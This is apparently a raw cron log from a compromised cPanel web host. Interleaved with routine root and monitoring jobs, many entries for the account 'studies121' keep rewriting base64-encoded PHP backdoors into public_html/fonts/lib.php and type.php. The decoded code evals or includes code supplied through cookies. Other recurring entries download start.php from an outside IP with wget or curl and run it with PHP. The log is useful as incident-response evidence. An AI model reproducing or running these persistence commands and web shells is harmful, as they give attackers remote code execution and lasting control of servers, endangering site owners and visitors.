Sep  8 19:42:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:42:01 ip-184-168-122-23 CROND[14718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:43:01 ip-184-168-122-23 CROND[14802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:43:01 ip-184-168-122-23 CROND[14803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:43:01 ip-184-168-122-23 CROND[14804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:43:01 ip-184-168-122-23 CROND[14805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:44:01 ip-184-168-122-23 CROND[14888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:44:01 ip-184-168-122-23 CROND[14889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:44:01 ip-184-168-122-23 CROND[14890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:44:01 ip-184-168-122-23 CROND[14894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:44:01 ip-184-168-122-23 CROND[14897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:45:01 ip-184-168-122-23 CROND[14984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:45:02 ip-184-168-122-23 CROND[14988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:45:02 ip-184-168-122-23 CROND[14990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:45:02 ip-184-168-122-23 CROND[14987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:45:02 ip-184-168-122-23 CROND[14989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:45:02 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:46:01 ip-184-168-122-23 CROND[15090]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 19:46:01 ip-184-168-122-23 CROND[15094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:46:01 ip-184-168-122-23 CROND[15095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:46:01 ip-184-168-122-23 CROND[15091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:46:01 ip-184-168-122-23 CROND[15092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:46:01 ip-184-168-122-23 CROND[15093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:46:01 ip-184-168-122-23 CROND[15096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:47:01 ip-184-168-122-23 CROND[15286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:47:01 ip-184-168-122-23 CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:47:01 ip-184-168-122-23 CROND[15287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:47:01 ip-184-168-122-23 CROND[15288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:48:01 ip-184-168-122-23 CROND[15400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:48:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:48:01 ip-184-168-122-23 CROND[15404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:48:01 ip-184-168-122-23 CROND[15401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:48:01 ip-184-168-122-23 CROND[15402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:49:01 ip-184-168-122-23 CROND[15495]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 19:49:01 ip-184-168-122-23 CROND[15496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:49:01 ip-184-168-122-23 CROND[15499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:49:01 ip-184-168-122-23 CROND[15498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:49:01 ip-184-168-122-23 CROND[15500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:50:01 ip-184-168-122-23 CROND[15618]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:50:01 ip-184-168-122-23 CROND[15627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:50:01 ip-184-168-122-23 CROND[15632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:50:01 ip-184-168-122-23 CROND[15633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:51:01 ip-184-168-122-23 CROND[15742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:51:01 ip-184-168-122-23 CROND[15743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:51:01 ip-184-168-122-23 CROND[15744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:51:01 ip-184-168-122-23 CROND[15746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:52:01 ip-184-168-122-23 CROND[15851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:52:01 ip-184-168-122-23 CROND[15853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:52:01 ip-184-168-122-23 CROND[15855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:52:01 ip-184-168-122-23 CROND[15854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:52:01 ip-184-168-122-23 CROND[15856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:53:01 ip-184-168-122-23 CROND[15937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:53:01 ip-184-168-122-23 CROND[15938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:53:01 ip-184-168-122-23 CROND[15939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:53:01 ip-184-168-122-23 CROND[15940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:54:01 ip-184-168-122-23 CROND[16094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:54:01 ip-184-168-122-23 CROND[16097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:54:01 ip-184-168-122-23 CROND[16096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:54:01 ip-184-168-122-23 CROND[16098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
